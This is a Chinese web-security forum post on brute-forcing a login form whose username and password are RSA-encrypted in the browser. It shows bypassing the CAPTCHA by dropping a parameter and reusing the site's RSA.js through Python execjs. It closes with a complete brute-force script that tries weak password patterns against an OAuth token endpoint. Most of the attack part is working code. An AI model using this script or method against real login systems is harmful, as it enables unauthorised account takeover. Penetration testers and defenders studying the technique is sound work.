当遇到前端RSA加密的时候暴力破解的方法

某网站登录的时候如下: [![](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2021/06/attach-cb74758db11e49bc07bdff98b4139b89a8ae37dd.png)](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2021/06/a...

某网站登录的时候如下:

然后我去掉j_authcode以及一些无用参数,可以绕过图形验证码

然后这样就可以进行爆破了。但是我们可以看到usernamepassword均经过加密,这究竟是什么加密呢?我们来看看前端代码。

可以看到这里是RSA加密。然后通过断点查看exponentmodulus的值。

值是固定的,搜索后发现就存储在config.js中,也就是说RSA公钥为modulus
但这是一个256位公钥的RSA加密,在其他环境中几乎找不到这种加密项目,而js中有RSA.js/Barrett.js/BigInt.js这么一个早期项目。这种时候就需要用python去调js代码来进行加密。

先写出js加密的代码来看看效果:

<script src="./rsa/RSA.js" type="text/javascript"></script>
<script src="./rsa/BigInt.js" type="text/javascript"></script>
<script src="./rsa/Barrett.js" type="text/javascript"></script>
<script src="./rsa/config.js" type="text/javascript"></script>
<script>
functiona(paramStr){
    setMaxDigits(130);
    key = new RSAKeyPair(exponent, "", modulus); 
    return encryptedString(key,encodeURIComponent(paramStr));
    }
qqq= a("admin");
alert(qqq);
</script>


这里可以看到和Burp Suite里是一模一样,然后把4个js带html里的js代码合并在同一个文件里,用python的execjs库去调。

import execjs

defrsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("'+str+'")'
    params = ctx.eval(js)
    return params
print(rsa("admin"))


最后写出来爆破的脚本:

import requests
import execjs

requests.packages.urllib3.disable_warnings()
defurlpost(username,password):
    rusername = rsa(username)
    rpassword = rsa(password)
    url = "https://x.com/oauth/token"
    header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0)Gecko/20100101 Firefox/79.0",
          "X-Requested-With": "XMLHttpRequest",
          "Content-Type": "application/x-www-form-urlencoded"
          }
    cookie = {}
    data = {"username":rusername,
            "password":rpassword,
            "grant_type":"password",
            "scope":"service",
            "client_id":"spm",
            "client_secret":"sinoprof"
            }
    r =requests.post(url,cookies=cookie,headers=header,data=data,allow_redirects=False,verify=False)
    print(r.status_code)
    if r.status_code == 200:
        print(username+password+"success")
        exit()
    else:
        print(username+password+"error")

defrsa(str):
    file = 'RSA.js'
    ctx = execjs.compile(open(file).read())
    js = 'a("'+str+'")'
    params = ctx.eval(js)
    return params

folist= open('user.txt','r')
for i in folist.readlines():
    i = i.replace('\n','')
    urlpost(i,i+"!@#456")
    urlpost(i,i+"!@#123")
    urlpost(i,"123456")

最终效果如下图所示:

  • 发表于 2021-06-22 20:37:19
  • 阅读 ( 7741 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Johnson666
Johnson666

19 篇文章

站长统计